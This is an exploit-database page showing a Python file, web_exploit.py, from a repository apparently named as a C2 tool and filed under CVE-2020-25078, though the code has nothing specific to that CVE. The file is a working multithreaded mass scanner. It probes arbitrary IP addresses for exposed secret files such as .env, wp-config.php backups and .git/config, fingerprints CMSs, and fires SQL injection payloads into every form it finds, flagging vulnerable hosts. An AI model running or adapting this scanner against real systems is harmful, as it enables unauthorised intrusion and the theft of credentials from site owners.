Exploit database

GH-2af8eacf03924d61b877104a3bad36c4

flags-alt/abyss-c2

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-25078

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files39
flags-alt/abyss-c2Revision e53991d4aec1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

web_exploit.py

Python · 10,752 bytes
import requests
import urllib3
import re
from urllib.parse import urljoin, urlparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': '*/*',
}

# ---- COMMON EXPOSED FILES ----
EXPOSED_FILES = [
    '/.env', '/.env.backup', '/.env.local', '/.env.production',
    '/.git/config', '/.git/HEAD', '/.gitignore',
    '/phpinfo.php', '/info.php', '/test.php',
    '/wp-config.php', '/wp-config.php.bak', '/wp-config.php~', '/wp-config.php.old',
    '/config.php', '/config.php.bak', '/configuration.php',
    '/.htaccess', '/.htpasswd',
    '/backup/', '/backup.zip', '/backup.tar.gz', '/backup.sql',
    '/admin/', '/administrator/', '/wp-admin/', '/user/login',
    '/api/', '/api/v1/', '/graphql', '/swagger',
    '/debug/', '/phpMyAdmin/', '/phpmyadmin/',
    '/server-status', '/server-info',
    '/.DS_Store', '/.svn/entries',
    '/robots.txt', '/sitemap.xml',
    '/crossdomain.xml', '/clientaccesspolicy.xml',
    '/web.config', '/WEB-INF/web.xml',
    '/console/', '/actuator/health', '/actuator/env',
    '/solr/', '/jenkins/', '/druid/index.html',
    '/.well-known/security.txt',
]

# ---- CMS DETECTION ----
CMS_SIGNATURES = {
    'WordPress': [
        ('/wp-login.php', r'wp-submit|wordpress|wp-login'),
        ('/wp-content/', r'wp-content'),
        ('/wp-includes/', r'wp-includes'),
    ],
    'Joomla': [
        ('/administrator/', r'joomla|Joomla'),
        ('/language/en-GB/en-GB.xml', r'joomla'),
    ],
    'Drupal': [
        ('/user/login', r'drupal|Drupal'),
        ('/sites/default/files/', r'drupal'),
    ],
    'Magento': [
        ('/admin/', r'magento|Magento'),
        ('/skin/frontend/', r'magento'),
    ],
    'Laravel': [
        ('/.env', r'APP_KEY=|APP_ENV='),
    ],
    'phpMyAdmin': [
        ('/phpmyadmin/', r'phpMyAdmin'),
        ('/phpMyAdmin/', r'phpMyAdmin'),
    ],
    'Jenkins': [
        ('/jenkins/', r'Jenkins|jenkins'),
        ('/login', r'Jenkins'),
    ],
    'Tomcat': [
        ('/manager/html', r'Apache Tomcat'),
        ('/examples/', r'Apache Tomcat'),
    ],
    'Django': [
        ('/admin/login/', r'csrfmiddlewaretoken|django'),
    ],
}

# ---- SQL INJECTION PROBES ----
SQLI_PAYLOADS = [
    "'", "''", '"', '""',
    "' OR '1'='1", "' OR 1=1--", "' OR 1=1#",
    '1 OR 1=1', '1 AND 1=1',
    "' UNION SELECT NULL--", "' UNION SELECT 1,2,3--",
]

SQLI_ERRORS = [
    'SQL syntax', 'mysql_fetch', 'MySQL', 'ORA-',
    'PostgreSQL', 'SQLite', 'mssql',
    'ODBC Driver', 'SQL command not properly ended',
    'Unclosed quotation mark', 'Microsoft OLE DB',
    'You have an error in your SQL syntax',
    'Warning: mysql', 'valid MySQL',
    'PostgreSQL query failed', 'supplied argument is not a valid MySQL',
    'on line', 'Division by zero',
    'PDOException', 'SQLSTATE',
]


def scan_website(url, timeout=8):
    """Full website vulnerability scan"""
    if not url.startswith('http'):
        url = 'http://' + url
    parsed = urlparse(url)
    base = f'{parsed.scheme}://{parsed.netloc}'
    
    results = {
        'url': base,
        'status_code': 0,
        'server': '',
        'cms': [],
        'exposed_files': [],
        'sqli_params': [],
        'interesting_headers': [],
        'tech_stack': [],
    }

    # Initial request
    try:
        resp = requests.get(base, headers=HEADERS, timeout=timeout, verify=False, allow_redirects=True)
        results['status_code'] = resp.status_code
        results['server'] = resp.headers.get('Server', '')
        results['content_length'] = len(resp.content)

        # Tech stack from headers
        for hdr, val in resp.headers.items():
            hdr_low = hdr.lower()
            if 'x-powered-by' == hdr_low:
                results['tech_stack'].append(val)
            if 'x-generator' == hdr_low:
                results['tech_stack'].append(val)
            if 'x-drupal-cache' == hdr_low:
                results['tech_stack'].append('Drupal')
                results['cms'].append('Drupal')
            if 'x-frame-options' not in hdr_low and 'content-security-policy' not in hdr_low:
                results['interesting_headers'].append(f'Missing security header: {hdr_low}')

        # CMS detection
        for cms_name, tests in CMS_SIGNATURES.items():
            for test_path, test_pattern in tests:
                try:
                    test_url = urljoin(base, test_path)
                    r = requests.get(test_url, headers=HEADERS, timeout=timeout, verify=False)
                    if re.search(test_pattern, r.text, re.I) or r.status_code == 200:
                        if cms_name not in results['cms']:
                            results['cms'].append(cms_name)
                        break
                except:
                    continue

    except requests.exceptions.Timeout:
        results['error'] = 'Timeout'
        return results
    except requests.exceptions.ConnectionError:
        results['error'] = 'Connection refused'
        return results
    except Exception as e:
        results['error'] = str(e)
        return results

    # Scan exposed files
    for path in EXPOSED_FILES:
        try:
            test_url = urljoin(base, path)
            r = requests.get(test_url, headers=HEADERS, timeout=timeout/2, verify=False, allow_redirects=False)
            if r.status_code == 200 and len(r.content) > 10:
                # Check if it's a real hit or a generic 200 page
                if len(r.content) < 5000 or r.status_code != resp.status_code:
                    results['exposed_files'].append({
                        'path': path,
                        'size': len(r.content),
                        'preview': r.text[:200].strip()
                    })
        except:
            continue

    # SQLi probe on forms/params
    try:
        from bs4 import BeautifulSoup
        soup = BeautifulSoup(resp.text, 'html.parser')
        forms = soup.find_all('form')
        for form in forms:
            action = form.get('action', '')
            method = form.get('method', 'get').lower()
            inputs = form.find_all('input')
            input_names = [i.get('name', '') for i in inputs if i.get('name')]

            for payload in SQLI_PAYLOADS[:3]:
                try:
                    if method == 'post':
                        data = {n: payload for n in input_names if n}
                        r = requests.post(urljoin(base, action), data=data, headers=HEADERS, timeout=timeout, verify=False)
                    else:
                        params = {n: payload for n in input_names if n}
                        r = requests.get(urljoin(base, action), params=params, headers=HEADERS, timeout=timeout, verify=False)

                    for error in SQLI_ERRORS:
                        if error.lower() in r.text.lower():
                            results['sqli_params'].append({
                                'url': urljoin(base, action),
                                'method': method,
                                'payload': payload,
                                'error': error[:60]
                            })
                            break
                except:
                    continue
    except:
        pass

    return results


def quick_web_check(ip, port=80, timeout=5):
    """Quick check: is there a web server? What is it?"""
    try:
        url = f'http://{ip}:{port}/'
        resp = requests.get(url, headers=HEADERS, timeout=timeout, verify=False)
        info = {
            'status': resp.status_code,
            'server': resp.headers.get('Server', ''),
            'title': '',
            'size': len(resp.content),
        }
        title_match = re.search(r'<title>([^<]+)</title>', resp.text, re.I)
        if title_match:
            info['title'] = title_match.group(1).strip()[:100]
        return info
    except:
        return None


class WebScanner:
    """Scanner for web vulnerabilities"""
    def __init__(self, callback=None):
        self.callback = callback
        self.running = False
        self.threads = []
        self.stats = {'total': 0, 'alive': 0, 'vulnerable': 0, 'scanned': 0}
        self.lock = __import__('threading').Lock()
        self.target_queue = __import__('queue').Queue()

    def _emit(self, event_type, data):
        if self.callback:
            try:
                self.callback(event_type, data)
            except:
                pass

    def add_targets(self, targets):
        for t in targets:
            self.target_queue.put(t)

    def _scan_single(self, ip, port):
        with self.lock:
            self.stats['total'] += 1

        info = quick_web_check(ip, port, timeout=5)
        if not info:
            return

        with self.lock:
            self.stats['alive'] += 1
        self._emit('alive', {'ip': ip, 'port': port})

        url = f'http://{ip}:{port}'
        result = scan_website(url, timeout=10)
        
        with self.lock:
            self.stats['scanned'] += 1

        vulns = []
        if result.get('exposed_files'):
            vulns.append(f'{len(result["exposed_files"])} exposed files')
        if result.get('sqli_params'):
            vulns.append(f'{len(result["sqli_params"])} SQLi vulns')
        if result.get('cms'):
            vulns.append(f'CMS: {",".join(result["cms"])}')

        if vulns:
            with self.lock:
                self.stats['vulnerable'] += 1
            self._emit('vulnerable', {
                'ip': ip, 'port': port,
                'model': result.get('server', 'Web Server'),
                'info': {
                    'cms': result.get('cms', []),
                    'exposed': result.get('exposed_files', []),
                    'sqli': result.get('sqli_params', []),
                    'tech': result.get('tech_stack', []),
                    'title': info.get('title', ''),
                }
            })

    def _worker(self):
        while self.running:
            try:
                ip, port = self.target_queue.get(timeout=0.5)
                self._scan_single(ip, port)
                self.target_queue.task_done()
            except __import__('queue').Empty:
                continue
            except:
                continue

    def start(self, threads=30):
        self.running = True
        self.threads = []
        for _ in range(threads):
            t = __import__('threading').Thread(target=self._worker, daemon=True)
            t.start()
            self.threads.append(t)

    def stop(self):
        self.running = False
        for t in self.threads[:]:
            t.join(timeout=2)

    def get_stats(self):
        return dict(self.stats)